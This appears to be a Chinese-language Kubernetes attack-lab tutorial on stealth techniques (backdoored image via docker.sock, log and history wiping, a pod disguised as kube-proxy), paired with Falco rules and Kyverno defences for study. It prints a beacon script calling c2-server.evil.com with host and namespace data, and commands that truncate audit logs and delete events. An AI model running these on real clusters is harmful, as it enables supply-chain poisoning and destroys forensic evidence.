
ATT&CK TA0005 Stealth——攻擊者完成破壞後,如何藏匿自己的行動。
| 場景 | ATT&CK | 技術 | 攻擊手法 |
|---|---|---|---|
| S20 | T1612 | Build Image on Host | 逃逸後用 docker.sock 在宿主機上建構後門映像 |
| S21 | T1070 | Indicator Removal | 清除 bash_history、Pod log、K8s Events |
| S22 | T1036 | Masquerading | 將惡意 Pod 命名為 kube-proxy-8x7k2 |
Stealth 是攻擊者在完成主要操作後的「善後工作」。不同於前面的戰術直接推進攻擊鏈,Stealth 的目的是讓攻擊者不被發現、不被追蹤——拉長駐留時間(dwell time)、降低被 IR 團隊溯源的機率。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pods -n koad | grep -E "host-image-builder|indicator-remover|kube-proxy-8x7k2"
預期結果:
host-image-builder 1/1 Running 0 ...
indicator-remover 1/1 Running 0 ...
kube-proxy-8x7k2 1/1 Running 0 ...
如果 Pod 不在 Running 狀態,重新部署:
kubectl apply -f scenarios/stealth/S20-build-image-on-host.yaml kubectl apply -f scenarios/stealth/S21-indicator-removal.yaml kubectl apply -f scenarios/stealth/S22-masquerading.yaml
# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|docker\|history\|masquerad"
完成本日實作後,你將能夠:
當攻擊者透過 Day 10 的 docker.sock 逃逸取得宿主機 Docker daemon 的控制權後,下一步是建構帶有後門的映像並推入內部 Registry。合法 Pod 拉取被污染的映像後,後門就會隨之執行——而且完全繞過 CI/CD 流程中的映像掃描。

這種攻擊之所以危險,是因為它利用了信任模型的斷裂——Pod 信任 Registry 中的映像,Registry 信任 CI/CD 推送的映像,但攻擊者從 Docker daemon 這個「側門」推入映像,跳過了整個信任鏈。
apiVersion: v1
kind: Pod
metadata:
name: host-image-builder
namespace: koad
labels:
koad-scenario: S20
mitre-attck: T1612
annotations:
attack-phase: "post-exploitation / supply-chain poisoning"
spec:
containers:
- name: builder
image: docker:24-cli
volumeMounts:
- name: docker-sock
mountPath: /var/run/docker.sock # ← 掛載 Docker socket
resources:
limits:
memory: "128Mi"
cpu: "200m"
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock
type: Socket
這份 YAML 的核心弱點集中在 volumes 區塊:
hostPath: /var/run/docker.sock:掛載宿主機的 Docker socket,等於將整個 Docker daemon 的控制權交給容器。攻擊者可以 docker build、docker push,甚至 docker exec 進入其他容器。image: docker:24-cli:官方 Docker CLI 映像,自帶完整的 docker 指令,不需要額外安裝工具。readOnly: true:docker.sock 以讀寫模式掛載,允許寫入操作(build、push、rm)。如果設為 readOnly,攻擊者只能 docker ps 做偵察,無法建構或推送映像。S20 模擬的是容器逃逸後的供應鏈擴散階段。在真實事件中,攻擊者不會只停留在單一容器——他們會利用 Docker daemon 建構帶後門的映像並推入內部 Registry,讓所有拉取該映像的 Pod 都變成攻擊跳板。2020 年 Graboid 蠕蟲就是透過暴露的 Docker daemon 自動散播惡意映像。這個場景讓學員理解:docker.sock 的掛載不只是「逃逸」問題,更是「擴散」問題。
# 主機終端
kubectl exec -it -n koad host-image-builder -- sh
預期結果:
/ #
進入掛載了 docker.sock 的容器——可以直接操作宿主機 Docker daemon 來建構和推送映像。

以下步驟 2–7 都在容器內(
host-image-builder)執行。
# 容器內 (host-image-builder)
docker -H unix:///var/run/docker.sock ps
預期結果:
CONTAINER ID IMAGE COMMAND
3a2f1b... k8s_builder_host... "sh"
9c4e8d... k8s_nginx_ssrf... "nginx -g..."
可以看到所有 Minikube 上的容器。

docker -H unix:///var/run/docker.sock images | head -10
預期結果:
REPOSITORY TAG IMAGE ID SIZE
registry.k8s.io/kube-apiserver v1.30.0 abc123... 130MB
registry.k8s.io/kube-proxy v1.30.0 def456... 85MB
nginx 1.27 ghi789... 43MB
攻擊者知道叢集用了哪些映像和版本。

cat > /tmp/Dockerfile << 'DOCKERFILE'
FROM nginx:1.27-alpine
COPY backdoor.sh /docker-entrypoint.d/99-backdoor.sh
RUN chmod +x /docker-entrypoint.d/99-backdoor.sh
DOCKERFILE
預期結果:
(無輸出表示成功)
後門腳本放在
entrypoint.d中,nginx 啟動時自動執行。
cat > /tmp/backdoor.sh << 'SCRIPT'
#!/bin/sh
while true; do
curl -s -o /dev/null http://c2-server.evil.com/beacon \
-d "host=$(hostname)&ns=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)" \
2>/dev/null
sleep 300
done &
SCRIPT
預期結果:
(無輸出表示成功)
後門偽裝成 health check,在背景執行,不影響 nginx 正常運行。

docker -H unix:///var/run/docker.sock build \
-t internal-registry:5000/nginx:1.27-alpine /tmp/
預期結果:
Sending build context to Docker daemon 3.072kB
Step 1/3 : FROM nginx:1.27-alpine
---> abc123def456
Step 2/3 : COPY backdoor.sh /docker-entrypoint.d/99-backdoor.sh
---> Running in temp123
Step 3/3 : RUN chmod +x /docker-entrypoint.d/99-backdoor.sh
---> Running in temp456
Successfully built infected789
Docker 在宿主機上建構了帶後門的映像,使用與合法映像相同的 tag——之後任何拉取此 tag 的 Pod 都會執行後門。
Falco 觀察:執行
docker build後,Falco 監控視窗應出現:[CRITICAL] KOAD S20 Docker Build in Container (pod=host-image-builder command=docker build ...)

docker -H unix:///var/run/docker.sock push \
internal-registry:5000/nginx:1.27-alpine
預期結果:
The push refers to repository [internal-registry:5000/nginx]
1.27-alpine: digest: sha256:abc123... size: 1234
之後任何 Pod 拉取
nginx:1.27-alpine都會帶上後門。

### 為什麼繞過 Registry 掃描
| 階段 | 掃描工具 | 結果 |
|------|---------|------|
| CI/CD build | Trivy + Snyk 掃描 | 安全 ✓ |
| Push to Registry | Cosign 映像簽章驗證 | 安全 ✓ |
| Admission Control | Kyverno verifyImages | 安全 ✓ |
| **攻擊者直接 push** | **繞過所有流程** | **危險 ✗** |
| Pod pull | imagePullPolicy 決定 | 拉到被污染的映像 |
### 攻擊者視角:為什麼選擇供應鏈毒化
1. **隱蔽性高**:後門隨合法映像部署,不需要單獨的惡意 Pod
2. **持久性強**:映像在 Registry 中,即使刪除攻擊 Pod,後門映像仍在
3. **擴散性廣**:所有拉取該映像的 Pod 都會被感染
4. **難以追蹤**:後門混在合法服務中,日誌看起來是正常的 nginx 流量
### 防禦:映像完整性驗證
```bash
# 1. 使用 Cosign 簽章映像(CI/CD 中)
$ cosign sign --key cosign.key internal-registry:5000/nginx:1.27-alpine
# 2. Kyverno 強制驗證簽章
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signatures
spec:
validationFailureAction: Enforce
rules:
- name: verify-cosign
match:
any:
- resources:
kinds: ["Pod"]
verifyImages:
- imageReferences: ["internal-registry:5000/*"]
attestors:
- entries:
- keys:
publicKeys: |-
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
-----END PUBLIC KEY-----
# 3. 使用 imagePullPolicy: Always + digest 引用
# spec.containers[].image: internal-registry:5000/nginx@sha256:abc123...
# 攻擊者無法改變 digest,即使覆蓋 tag 也無法影響已部署的 Pod
- rule: KOAD S20 Docker Build in Container
desc: Detect docker build commands executed inside a container
condition: >
spawned_process and container and
proc.name = docker and
proc.cmdline contains "build"
output: >
Docker build executed in container — possible supply chain poisoning
(user=%user.name container=%container.name pod=%k8s.pod.name
ns=%k8s.ns.name command=%proc.cmdline image=%container.image.repository)
priority: CRITICAL
tags: [KOAD, T1612, stealth, supply-chain]
踩坑提醒: 在 Minikube(Docker driver)環境中,docker.sock 掛載的路徑可能因 Container Runtime 不同而異。如果使用 containerd,需要掛載
/run/containerd/containerd.sock並使用ctr或nerdctl替代docker。KOAD 選擇 Minikube + Docker driver 就是為了保持 docker.sock 場景的相容性。
攻擊者在完成操作後,會嘗試清除各種日誌和事件記錄來掩蓋行蹤。在 K8s 中,證據分佈在多個層級,攻擊者需要逐一清除:
證據分佈層級
| 容器層級 | K8s 層級 | 宿主機層級 |
|---|---|---|
| .bash_history | Events | /var/log/audit/audit.log |
| /var/log/*.log | Pod logs (stdout) | /var/log/syslog |
| /tmp/exploit | kubectl history | containerd/docker logs |
| core dumps | Audit Log | journal (systemd) |
| /proc 資訊 | etcd changes | node-level metrics |
apiVersion: v1
kind: Pod
metadata:
name: indicator-remover
namespace: koad
labels:
koad-scenario: S21
mitre-attck: T1070
spec:
serviceAccountName: overprivileged-sa # ← 需要刪除 Events 的權限
containers:
- name: cleaner
image: bitnami/kubectl:latest
command: ["sh", "-c", "sleep infinity"]
S21 的 YAML 看似簡單,但每個欄位都有攻擊意圖:
serviceAccountName: overprivileged-sa:使用過度授權的 SA,擁有刪除 Events 的權限。這是 K8s 層級痕跡清除的前提——沒有 delete events 權限,攻擊者只能清容器內的日誌。image: bitnami/kubectl:latest:自帶 kubectl,可以直接操作 K8s API 刪除 Events、Pod 和其他資源。hostPath 掛載:S21 刻意不掛載宿主機目錄——容器內的清除行為有限,攻擊者必須先逃逸(S13-S18)才能清除宿主機層級的日誌。這展示了多層防禦的價值。S21 展示攻擊者在完成操作後「收尾」的典型行為。在真實 APT 攻擊中,痕跡清除是 Kill Chain 的最後一環——攻擊者會逐層清除容器日誌、K8s Events、宿主機 audit log。KOAD 將清除行為分為三個層級,讓學員理解:單靠容器內日誌做鑑識是不夠的,必須有外部化、不可變的日誌收集(如 Loki、Elasticsearch)才能對抗反鑑識手段。
# 容器內 (indicator-remover)
history -c
rm -f ~/.bash_history ~/.ash_history
unset HISTFILE
export HISTSIZE=0
預期結果:
(無輸出表示成功——history 已清空)
shell history 是取證時最先檢查的線索——清除後 IR 團隊無法從
.bash_history回溯攻擊者執行過的指令。
Falco 觀察:清除 history 後,Falco 立即觸發告警:
[WARNING] KOAD S21 History File Deletion (pod=indicator-remover file=/root/.bash_history)這正是「清除行為本身就是攻擊指標」的最佳示範。

find /var/log -name "*.log" -exec truncate -s 0 {} \; 2>/dev/null
預期結果:
(無輸出——日誌檔被清空但不刪除)
用
truncate而非rm清空日誌——檔案仍存在但內容為空,比直接刪除更不容易被發現(刪除會在 inode 層留下痕跡)。
rm -rf /tmp/exploit /tmp/Dockerfile /tmp/backdoor.sh
rm -f /tmp/nmap* /tmp/hydra*
預期結果:
(無輸出表示成功)
刪除攻擊工具和暫存檔案——如果 IR 團隊用
find / -newer搜尋最近修改的檔案,這些證據就不會出現。

# 容器內 (indicator-remover,有 kubectl 權限)
kubectl delete events --all -n koad
預期結果:
event "ssrf-webapp-xxx.123abc" deleted
event "privileged-pod.456def" deleted
event "host-image-builder.789ghi" deleted
Events 預設只保留 1 小時,但攻擊者不想等。

kubectl delete pod -n koad -l purpose=attack --grace-period=0 --force
預期結果:
warning: Immediate deletion does not wait for confirmation...
pod "attacker-pod" force deleted
--force跳過 graceful shutdown,避免 preStop hooks 留下日誌。

kubectl delete configmap attack-config -n koad 2>/dev/null
kubectl delete secret stolen-creds -n koad 2>/dev/null
預期結果:
configmap "attack-config" deleted
secret "stolen-creds" deleted
刪除攻擊者建立的 K8s 資源,避免 IR 團隊透過
kubectl get發現異常物件。但 Audit Log 仍會記錄這些 delete 操作。
以下步驟 7–8 需要先透過容器逃逸取得宿主機存取權(參考 Day 8–11)。
# 已逃逸到宿主機
: > /var/log/kubernetes/audit/audit.log
journalctl --rotate && journalctl --vacuum-time=1m
預期結果:
Vacuuming done, freed 12.0M of archived journals from /var/log/journal.
journalctl --vacuum-size刪除舊日誌。但如果有集中式日誌(Fluentd/Loki),這些日誌已經被即時轉發到遠端——宿主機上刪除也沒用。

: > /var/log/containerd.log 2>/dev/null
預期結果:
(無輸出表示成功)
清除 containerd 日誌可以隱藏容器建立/刪除記錄。但 K8s API Server 的 Audit Log 仍會記錄 Pod 的 create/delete 事件——攻擊者很難完全消除所有痕跡。

| 清除行為 | 是否有效 | 原因 |
|---|---|---|
| 刪除 .bash_history | 部分有效 | Falco 已即時偵測到檔案刪除操作 |
| 刪除 K8s Events | 部分有效 | Audit Log 記錄了 delete events 本身 |
| 清除 Pod logs | 部分有效 | 集中式日誌(EFK/Loki)已轉發 |
| 清除 audit.log | 部分有效 | Webhook Backend 已即時轉發到 SIEM |
| 刪除攻擊 Pod | 有效 | 但 Pod spec 已被 Audit Log 記錄 |
| 刪除 containerd log | 部分有效 | 需要 root 權限且 journald 可能有備份 |
關鍵洞察: 清除行為本身就是攻擊指標(IoC)。Falco 偵測 history 檔案刪除、K8s Audit Log 記錄 Events 刪除——攻擊者在試圖隱藏的同時,反而製造了更多告警。
┌──────────────────────────────┐
│ 外部 SIEM / S3 │
│ (攻擊者無法存取或修改) │
│ │
│ ✓ 完整的事件時間線 │
│ ✓ 不可變存儲 │
│ ✓ 異地備份 │
└─────────▲──────────▲─────────┘
│ │
┌─────────────────────┤ ├──────────────────┐
│ │ │ │
┌────────┴────────┐ ┌───────┴──────┐ ┌┴────────────────┐
│ Fluentd/Promtail│ │ Audit Webhook│ │ Falco Sidekick │
│ (Pod 日誌轉發) │ │ (API 事件) │ │ (Runtime 告警) │
└────────▲────────┘ └──────▲───────┘ └┬────────────────┘
│ │ │
Pod stdout/stderr API Server Falco eBPF
日誌一旦轉發到外部系統,攻擊者即使取得 cluster-admin 甚至逃逸到宿主機,也無法清除已轉發的記錄。
- rule: KOAD S21 History File Deletion
desc: Detect deletion or truncation of shell history files
condition: >
(open_write or evt.type in (unlink, unlinkat, rename, renameat)) and
container and
fd.name pmatch (
/root/.bash_history,
/root/.ash_history,
/home/*/.bash_history
)
output: >
Shell history file modified or deleted — possible anti-forensics
(user=%user.name container=%container.name pod=%k8s.pod.name
ns=%k8s.ns.name file=%fd.name command=%proc.cmdline evt=%evt.type)
priority: WARNING
tags: [KOAD, T1070, stealth, anti-forensics]
CKS 考試提醒: CKS 考試可能要求你設定 Audit Log 的外部轉發(Webhook Backend)或設定 Falco 偵測日誌清除行為。重點是理解「日誌不可變性」的概念——本地日誌可以被清除,但已轉發的日誌不行。
K8s 叢集中有大量系統 Pod(kube-proxy、coredns、calico-node 等),管理員已經習慣看到這些名稱。攻擊者將惡意 Pod 命名為系統元件的格式,混入正常工作負載中——這是社會工程在基礎設施層面的應用。
DaemonSet Pod 命名格式:<name>-<random-5-chars>
例如:kube-proxy-tmp2h, calico-node-9xk3m, falco-k7g2p
Deployment Pod 命名格式:<name>-<replicaset-hash>-<random-5-chars>
例如:coredns-7db6d8ff4d-x2k9m
StatefulSet(為有狀態應用提供穩定網路識別與持久儲存的控制器)Pod 命名格式:<name>-<ordinal>
例如:etcd-0, prometheus-server-0
攻擊者偽裝目標:模仿 DaemonSet 格式(最簡單、最不引人注目)
apiVersion: v1
kind: Pod
metadata:
name: kube-proxy-8x7k2 # ← 符合 DaemonSet 的 Pod 命名格式
namespace: koad
labels:
k8s-app: kube-proxy # ← 使用真實的系統 label
component: kube-proxy
tier: node
annotations:
description: "Fake kube-proxy — actually a reverse shell"
kubernetes.io/config.source: "api" # ← 模仿 kubelet 設定的 annotation
spec:
containers:
- name: kube-proxy # ← 容器名也偽裝
image: busybox:1.36 # ← 但映像完全不是 kube-proxy
command: ["sh", "-c"]
args:
- |
echo "KOAD S22: Masquerading as kube-proxy"
# 模擬惡意行為(反向 shell)
while true; do
echo "[$(date)] fake kube-proxy beacon" >> /tmp/beacon.log
sleep 60
done
S22 的 YAML 是一份「社會工程式」的配置,每個欄位都在模仿真實系統元件:
name: kube-proxy-8x7k2:符合 DaemonSet 的 Pod 命名格式(<name>-<random-5-chars>),管理員用 kubectl get pods 時很難一眼辨別。labels: k8s-app: kube-proxy:使用真實 kube-proxy 的 label,會出現在 kubectl get pods -l k8s-app=kube-proxy 的查詢結果中。image: busybox:1.36:映像和容器名完全不符——名字是 kube-proxy,實際跑的是 busybox。這是最明顯的破綻,也是偵測的關鍵切入點。annotations: kubernetes.io/config.source: "api":模仿 kubelet 產生的 annotation,增加偽裝深度。S22 展示的是基礎設施層面的「社會工程」。在大型叢集中,管理員面對上百個 Pod,依賴命名和 label 來識別元件。攻擊者利用這個認知習慣,將後門 Pod 偽裝成系統元件來延長駐留時間。TeamTNT 組織在 2021 年的攻擊中就使用過類似的命名偽裝手法。KOAD 刻意讓映像名稱不匹配,教學員透過 image hash 和 ownerReferences 來識別偽裝 Pod。
偽裝策略分析:
| 維度 | 真實 kube-proxy | 偽裝 Pod | 差異 |
|---|---|---|---|
| Pod 名稱 | kube-proxy-tmp2h | kube-proxy-8x7k2 | 格式相同 |
| Label | k8s-app: kube-proxy | k8s-app: kube-proxy | 完全相同 |
| Container 名稱 | kube-proxy | kube-proxy | 完全相同 |
| 映像 | registry.k8s.io/kube-proxy:v1.30.0 | busybox:1.36 | 不同 |
| Namespace | kube-system | koad | 不同 |
| ownerReferences | DaemonSet/kube-proxy | 無 | 不同 |
# 預期的 kube-proxy Pod 數量(等於 Node 數量)
$ kubectl get ds -n kube-system kube-proxy \
-o jsonpath='{.status.desiredNumberScheduled}'
1
# 實際帶有 kube-proxy label 的 Pod 數量
$ kubectl get pods -A -l k8s-app=kube-proxy --no-headers | wc -l
2 # ← 多出一個!
# 找出多餘的 Pod
$ kubectl get pods -A -l k8s-app=kube-proxy \
-o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,IMAGE:.spec.containers[0].image,OWNER:.metadata.ownerReferences[0].kind'
NS NAME IMAGE OWNER
kube-system kube-proxy-tmp2h registry.k8s.io/kube-proxy:v1.30.0 DaemonSet
koad kube-proxy-8x7k2 busybox:1.36 <none>
# ← Namespace 不對、映像不對、沒有 ownerReferences
$ kubectl get pods -A -l k8s-app=kube-proxy \
-o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name} → {.spec.containers[0].image}{"\n"}{end}'
kube-system/kube-proxy-tmp2h → registry.k8s.io/kube-proxy:v1.30.0
koad/kube-proxy-8x7k2 → busybox:1.36 # ← 映像不對!
# DaemonSet 建立的 Pod 一定有 ownerReferences
$ kubectl get pod kube-proxy-8x7k2 -n koad \
-o jsonpath='{.metadata.ownerReferences}'
# 空——不屬於任何 DaemonSet、Deployment 或 ReplicaSet
# 自動化檢查:找出所有沒有 owner 的 Pod
$ kubectl get pods -A -o json | \
jq -r '.items[] | select(.metadata.ownerReferences == null) |
"\(.metadata.namespace)/\(.metadata.name) ← 孤兒 Pod"'
koad/kube-proxy-8x7k2 ← 孤兒 Pod
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: block-system-name-masquerade
spec:
validationFailureAction: Enforce
rules:
- name: block-kube-prefix
match:
any:
- resources:
kinds: ["Pod"]
exclude:
any:
- resources:
namespaces: ["kube-system", "kube-public", "kube-node-lease"]
validate:
message: "Pod 名稱不可使用 kube- 前綴(僅限 kube-system namespace)"
pattern:
metadata:
name: "!kube-*"
2022 年 TeamTNT 攻擊組織在 Kubernetes 叢集中部署的挖礦容器就使用了類似的偽裝手法——將惡意 Pod 命名為 kube-controller、容器命名為 pause(K8s 內部使用的 sandbox 容器名稱)。安全團隊在例行巡檢中直接忽略了這些「看起來正常」的 Pod。
踩坑提醒: 在 KOAD 中,S22 原本要部署到
kube-system(模擬真實攻擊),但 K8s 1.25+ 的 PodSecurity Standards 會立即刪除不符合 Restricted 層級的 Pod。因此改為部署到koadnamespace,在文章中說明真實場景中攻擊者會嘗試部署到kube-system。
Stealth 戰術通常是在其他攻擊階段完成之後執行的——但它的效果影響整條攻擊鏈的存活時間:
TA0001 Initial Access
↓
TA0002 Execution → TA0003 Persistence → TA0004 Priv Escalation
↓
┌─────── TA0005 Stealth ← 我們在這裡
│ │ │ │
│ │ │ └── S22 偽裝混入(增加駐留)
│ │ └────── S21 清除痕跡(反鑑識)
│ └────────── S20 建映像(供應鏈擴散)
│
└── 目的:延長 Dwell Time
業界平均:277 天(2023 IBM X-Force)
有 Stealth 的攻擊:>6 個月
無 Stealth 的攻擊:<1 週
| 場景 | Falco 規則 | 其他偵測 | 防禦 |
|---|---|---|---|
| S20 | KOAD S20 Docker Build in Container | 映像簽章驗證(Cosign + Kyverno) | docker.sock 禁止掛載 |
| S21 | KOAD S21 History File Deletion | 集中式日誌 + Audit Log 外部轉發 | 日誌不可變性 |
| S22 | — | DaemonSet Pod 數量比對 + 映像 hash 驗證 | Kyverno 禁止 kube- 前綴 |
反隱匿偵測體系
| 預防層 | 偵測層 | 回應層 |
|---|---|---|
| HostPath 禁止 | Falco docker | 自動隔離 + 告警 |
| 掛載 docker | build 偵測 | |
| .sock | ||
| 集中式日誌 | Falco history | SIEM 關聯分析: |
| 即時轉發 | 檔案刪除偵測 | 短時間內多個清除行為 |
| = 高信度攻擊指標 | ||
| Kyverno 禁止 | 定期 Pod 完整 | 自動化比對 + 報告 |
| kube- 前綴 | 性比對腳本 |
| 考點 | 本日內容 | 權重 | 考試提示 |
|---|---|---|---|
| 映像安全 | 供應鏈毒化風險 + Cosign | Supply Chain 20% | 考試會考 Cosign 簽章驗證設定 |
| Audit Log | 日誌不可變性 + 外部轉發 | Monitoring/Runtime 20% | 考試會考 Webhook Backend 設定 |
| 映像簽章 | Cosign 驗證防止映像篡改 | Supply Chain 20% | 重點:Kyverno verifyImages 策略 |
| Falco 規則 | 偵測反鑑識行為 | Monitoring/Runtime 20% | 會考 Falco 規則的 condition 語法 |
完成攻擊演練後,清理環境:
# 主機終端 — 退出所有容器後執行
kubectl delete pod -n koad host-image-builder indicator-remover kube-proxy-8x7k2
kubectl apply -f scenarios/stealth/S20-build-image-on-host.yaml
kubectl apply -f scenarios/stealth/S21-indicator-removal.yaml
kubectl apply -f scenarios/stealth/S22-masquerading.yaml
S21 的痕跡清除是不可逆的——重建 Pod 才能恢復乾淨環境。
| 面向 | KOAD 靶場 | 真實生產環境 |
|---|---|---|
| Audit Log | Minikube 預設 Audit Policy 較寬鬆 | 生產環境有詳細 Audit Policy,大部分 API 呼叫都會被記錄 |
| 監控覆蓋 | 無 Falco/Tetragon(除非手動安裝) | 通常有 Runtime Security 工具即時偵測 |
| SIEM 整合 | 無 | 異常行為會觸發告警並通知 SOC |
在 KOAD 中「隱匿」相對容易,因為預設沒有監控。真實環境中,隱匿是攻擊者最大的挑戰之一。
明天 Day 15 進入 TA0112 Defense Impairment——攻擊者如何停用 Falco、竄改 Audit Policy、移除 Kyverno。當安全工具本身成為攻擊目標時,「誰來守護守護者?」